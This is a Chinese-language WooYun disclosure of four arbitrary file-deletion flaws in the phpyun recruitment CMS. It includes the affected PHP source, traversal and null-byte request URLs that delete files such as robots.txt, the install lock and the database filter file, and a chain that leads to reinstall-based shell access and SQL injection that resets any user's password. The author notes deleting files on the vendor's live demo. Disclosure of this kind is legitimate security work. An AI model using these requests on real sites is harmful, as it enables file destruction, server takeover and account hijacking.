WooYun-2014-88418:phpyun (20141230) 任意文件删除致注入可改任意用户密码(4处打包)

漏洞作者: ′雨。认证白帽子

来源:http://www.wooyun.org/bugs/wooyun-2014-088418

简要描述

更新了 来看看。 果然是功能越多 bug越多 bug越多 rank越多。 这个不小心测试了下 demo, 把demo的robots.txt 和 图标都删除了。 你们自己再加上去下把。

phpyun基本都是靠过滤文件。 如果删除过滤文件 肯定是有注入了。 而且删除过滤文件不会像删除install的lock一样对网站造成啥损害。

详细说明

http://**.**.**.**/bbs/thread-8149-1-1.html //20141222

http://**.**.**.**/PHP%E4%BA%91%E4%BA%BA%E6%89%8D%E6%8B%9B%E8%81%98%E7%B3%BB%E7%BB%9FV3.2_Beta.rar

最新版本的phpyun下载地址

在friend/model/index.class.php中

function save_avatar_action()

    {

        @header("Expires: 0");

        @header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);

        @header("Pragma: no-cache");

        $type = isset($_GET['type'])?trim($_GET['type']):'small';//没限制

        $pic_id = trim($_GET['photoId']);

        [[email protected]](/cdn-cgi/l/email-protection)(".",$pic_id);

        $uptypes=array('jpg','png','jpeg','bmp','gif');

        if(count($nameArr)!=2) //这里限制了只能含有一个小数点

        {   

            exit();

        }

        if(!is_numeric($nameArr[0])) //限制文件的名字必须为数字。

        { 

            exit();

        }

        if(!in_array(strtolower($nameArr[1]),$uptypes)) //限制文件类型只能为图片的各种类型

        {

            $d['statusText'] = iconv("gbk","utf-8",'文件类型不符!');

            $msg = json_encode($d);

            echo $msg;die;

        }

        $new_avatar_path = 'upload/friend/friend_'.$type.'/'.$pic_id;

        $len = file_put_contents(APP_PATH.$new_avatar_path,file_get_contents("php://input"));

//这里不能getshell 因为phpyun全局有转义 没办法截断。 所以也只能写图片。

        $avtar_img = imagecreatefromjpeg(APP_PATH.$new_avatar_path);

        imagejpeg($avtar_img,APP_PATH.$new_avatar_path,80);

        $d['data']['urls'][0] ="../".$new_avatar_path;

        $d['status'] = 1;

        $d['statusText'] = iconv("gbk","utf-8",'上传成功!');

        $row = $this->obj->DB_select_once("friend_info","`uid`='".$this->uid."'");//查询出来自己的资料

        if($type=="small")

        {

            $this->obj->unlink_pic($row['pic']);

            $this->obj->update_once("friend_info",array("pic"=>"../".$new_avatar_path),array("uid"=>$this->uid));

            $state_content = "我刚更换了新头像。<br><img src=\"".$this->config['sy_weburl']."/".$new_avatar_path."\">";

            $this->addstate($state_content);

            $this->obj->member_log("更换了新头像");

        }else{

            $this->obj->unlink_pic($row['pic_big']);//删除图片

            $this->obj->update_once("friend_info",array("pic_big"=>"../".$new_avatar_path),array("uid"=>$this->uid));//这里把自己的图片入库

        }

        $msg = json_encode($d);

        echo $msg;

    }

因为全局有转义, 所以$new_avatar_path没办法截断

$this->obj->update_once("friend_info",array("pic_big"=>"../".$new_avatar_path),array("uid"=>$this->uid)) 但是这里有一个入库。

入库了 然后再把 $this->obj->unlink_pic($row['pic_big']);//删除图片

出库出来的删掉。 所以我们可以再次截断了。 所以这个截断也无视GPC啥的。

用phpyun的demo ...测试 首先注册一个会员 然后请求

www....//friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../robots.txt%00

这样先转义入库了。 然后就按照这样再请求一次。

www....//friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../robots.txt%00

再请求一次 出库, 然后就又能截断 成功删除了robots.txt

测试的时候把demo的robots.txt删掉了 http://www.**.**.**.**/robots.txt 已经404了。

你们自己添加上去一下把。

进一步的利用的话 我们可以先删除lock 然后重装进行getshell

/friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../data/phpyun.lock%00

这个需要请求两次。

成功GETSHELL。


第二处在 member/com/model/show.class.php中

function del_action(){

        if($_GET['id']){

            $row=$this->obj->DB_select_once("company_show","`id`='".(int)$_GET['id']."' and `uid`='".$this->uid."'","`picurl`");//出库

            if(is_array($row))

            {

                $this->obj->unlink_pic(".".$row['picurl']);//这里把出库的删除掉 来看看哪里入库

$oid=$this->obj->DB_delete_all("company_show","`id`='".(int)$_GET['id']."' and `uid`='".$this->uid."'");

            }

            if($oid)

            {

                $this->obj->member_log("删除企业环境展示");

                $this->layer_msg('删除成功!',9);

            }else{

                $this->layer_msg('删除失败!',8);

            }

        }
function upshow_action(){

       if($_POST['submitbtn']){

           $time=time();

            unset($_POST['submitbtn']);

            if(!empty($_FILES['uplocadpic']['tmp_name']))

            {

                    $upload=$this->upload_pic("../upload/show/",false);

                    $uplocadpic=$upload->picture($_FILES['uplocadpic']);

                    $this->picmsg($uplocadpic,$_SERVER['HTTP_REFERER']);

                    $uplocadpic = str_replace("../upload/show","./upload/show",$uplocadpic);

                    $row=$this->obj->DB_select_once("company_show","`uid`='".(int)$_POST['uid']."' and `id`='".intval($_POST['id'])."'","`picurl`");

                    if(is_array($row))

                    {

                        $this->obj->unlink_pic(".".$row['picurl']);

                    }

            }else{

                $uplocadpic=$_POST['picurl'];//当没定义_FILES的时候竟然直接接受_POST来的。。 那么直接用户可控了。

            }

            $nid=$this->obj->DB_update_all("company_show","`picurl`='".$uplocadpic."',`title`='".$_POST['title']."',`sort`='".$_POST['showsort']."',`ctime`='".$time."'","`uid`='".$this->uid."'and `id`='".$_POST['id']."'");//入库入库

            if($nid)

因为这里是update 所以要先入库一个

在model/user.php中

function saveshow_action()

    {

        if (!empty($_FILES))

        {

            $pic=$name='';

            $data=array();

            $tempFile = $_FILES['Filedata'];

            $upload=$this->upload_pic("./upload/show/");

            $pic=$upload->picture($tempFile);

            [[email protected]](/cdn-cgi/l/email-protection)('.',$_FILES['Filedata']['name']);

            $picurl=str_replace("../upload/show","./upload/show",$pic); //可以看到这里是不可控的

            $data['picurl']= $picurl;

            $data['title']=$this->stringfilter($name[0]);

            $data['ctime']=time();

            $data['uid']=(int)$_POST['uid'];

            $data['eid']=(int)$_GET['eid'];

            $id=$this->obj->insert_into("resume_show",$data);

            if($id){

                 echo $name[0]."||".$picurl."||".$id;die;

            }else{

                echo "2";die;

            }

        }

    }

}

文件名不可控 再回来update里来

这里因为unlink_pic 限制了必须为jpg后缀之类的 这里我们截断一下

成功删除根目录的文件。


第三处

member/user/model/show.class.php //跟上面一个相同的原理 不过是因为一个是企业会员操作的 一个是个人会员操作的、 这里代码我都不贴了 你们自己查把。

第四处

member/user/model/resume.class.php

function del_action(){

        $del=(int)$_GET['id'];

        $show=$this->obj->DB_select_all("resume_show","`eid`='".$del."' and `picurl`<>''","`picurl`");

        if(is_array($show))

        {

            foreach($show as $v)

            {

                @unlink(".".$show['picurl']);

            }

        }

入库也在/member/user/model/show.class.php

function upshow_action(){ 也是因为用户可控了。


这里来搞一下注入

首先我们用上面的方法删除data/db.safety.php 这个参照上面的方法 就不多说了。

首先删除data/db.safety.php 后 就不会转义了 那么我们就能引入单引号了。

再找一个不会对查询转义的函数就行了。

在model/forgetpw.class.php中

function editpw_action()

    {

        if($_POST['username'] && $_POST['code'] && $_POST['pass'])

        {

            $password = $_POST['pass'];

            $cert = $this->obj->DB_select_once("company_cert","`type`='5' AND `check2`='".$_POST['username']."' AND `check`='".$_POST['code']."' order by id desc","`uid`,`check2`,`ctime`");//这里直接把$_POST的带入了查询 因为删除了过滤文件 所以不转义 

            if(!$cert['uid'])

            {

                $this->obj->ACT_layer_msg('验证码填写错误!',8,$this->url("index","forgetpw","1"));  

            }elseif((time()-$cert['ctime'])>1200){

                $this->obj->ACT_layer_msg('验证码已失效,请重新获取!',8,$this->url("index","forgetpw","1"));   

            }

            $info = $this->obj->DB_select_once("member","`uid`='".$cert['uid']."'","`email`");

            if(is_array($info))

            {

                $info['username'] = $cert['check2'];

                if($this->config[sy_uc_type]=="uc_center" && $info['name_repeat']!="1")

                {

                    $this->obj->uc_open();

                    uc_user_edit($info[username], "", $password, $info['email'],"0");

                }else{

                    $salt = substr(uniqid(rand()), -6);

                    $pass2 = md5(md5($password).$salt);

                    $value="`password`='$pass2',`salt`='$salt'";

                    $this->obj->DB_update_all("member",$value,"`uid`='".$cert['uid']."'");

                }

                $this->obj->ACT_layer_msg('密码修改成功!',9,$this->url("index","login","1"));    

            }else{

在满足这些条件后 甚至可以改任意用户的密码

漏洞证明

修复方案

漏洞的源头还是任意文件删除 怎么能让用户直接控制呢。